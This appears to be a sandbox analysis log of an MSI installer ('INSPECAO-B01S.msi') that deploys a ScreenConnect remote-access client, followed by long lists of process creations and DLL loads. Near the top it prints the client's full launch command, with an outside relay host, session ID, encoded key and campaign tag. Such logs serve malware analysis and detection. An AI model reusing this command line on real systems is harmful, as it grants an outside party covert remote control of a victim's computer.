                  Source: unknownProcess created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe "C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-xkznvd-relay.screenconnect.com&p=443&s=e3b17808-f02f-4082-a0ad-0ef89097505d&k=BgIAAACkAABSU0ExAAgAAAEAAQBhw2Nfb6ZuPKlEDIhhDVtAYuyd858SiHfXVlo7oudUHFIakFl%2fPS5vluFfI688c%2ffI5cXvCjgFShXpqsjscRe%2bvZHKSRm%2bteuE97Q6NBZ5oegi61HDzK9%2bJY6drnQvjn5O3W4R13ZtTHxRqVi92KIEihsQur1J2%2fL4Cjo7mR%2bTf3z2FvvhBA9AI44ir3hX7T6YCeKwSXIGWSjwulU6qmSUa0YOa6ak5ubRKh%2fug0gS3wbeTgSuaLTj1hdcHea2xRvqMqyIWF1MOawExDdmH4KtYMuNWGxsLao6ChTQtObulDnOQ2rzUTbk681GAIKtEvzer9DayT7dfK5gHsogR7Cx&c=envioparaiba20%2f10&c=&c=&c=&c=&c=&c=&c="
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe" "RunRole" "fedb95f0-928e-4923-97ab-510c95cfca5c" "User"
                  Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                  Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                  Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 3B0D9CA4E13447273575F5AF2A2A458A CJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 9498291156A768CDF30C7CBD1AD63E0BJump to behavior
                  Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A9BFA3C15C3C22AD10EB69C2707C2272 E Global\MSI0000Jump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBC6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4983906 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArgumentsJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe" "RunRole" "fedb95f0-928e-4923-97ab-510c95cfca5c" "User"Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: aclayers.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: sfc.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: msi.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: srpapi.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: textinputframework.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: coreuicomponents.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: coremessaging.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: coremessaging.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: textshaping.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: netapi32.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: wkscli.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: msihnd.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: pcacli.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: aclayers.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: sfc.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: msi.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: netapi32.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: wkscli.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: srclient.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: spp.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: powrprof.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: vssapi.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: vsstrace.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: umpdc.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: rstrtmgr.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: pcacli.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Windows\System32\msiexec.exeSection loaded: cabinet.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: cabinet.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: version.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: dpapi.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: wtsapi32.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: winsta.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: netapi32.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: samcli.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: samlib.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: version.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: windowscodecs.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeSection loaded: dwrite.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: esent.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: mi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: webio.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: es.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: licensemanagersvc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: licensemanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: clipc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                  Source: Window RecorderWindow detected: More than 3 window changes detected
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                  Source: INSPECAO-B01S.msiStatic file information: File size 8249344 > 1048576
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.1.dr
                  Source: Binary string: \??\C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Client.pdb source: ScreenConnect.ClientService.exe, 00000006.00000002.2948001083.000000000550A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdbT source: Microsoft.Deployment.WindowsInstaller.dll.3.dr
                  Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr
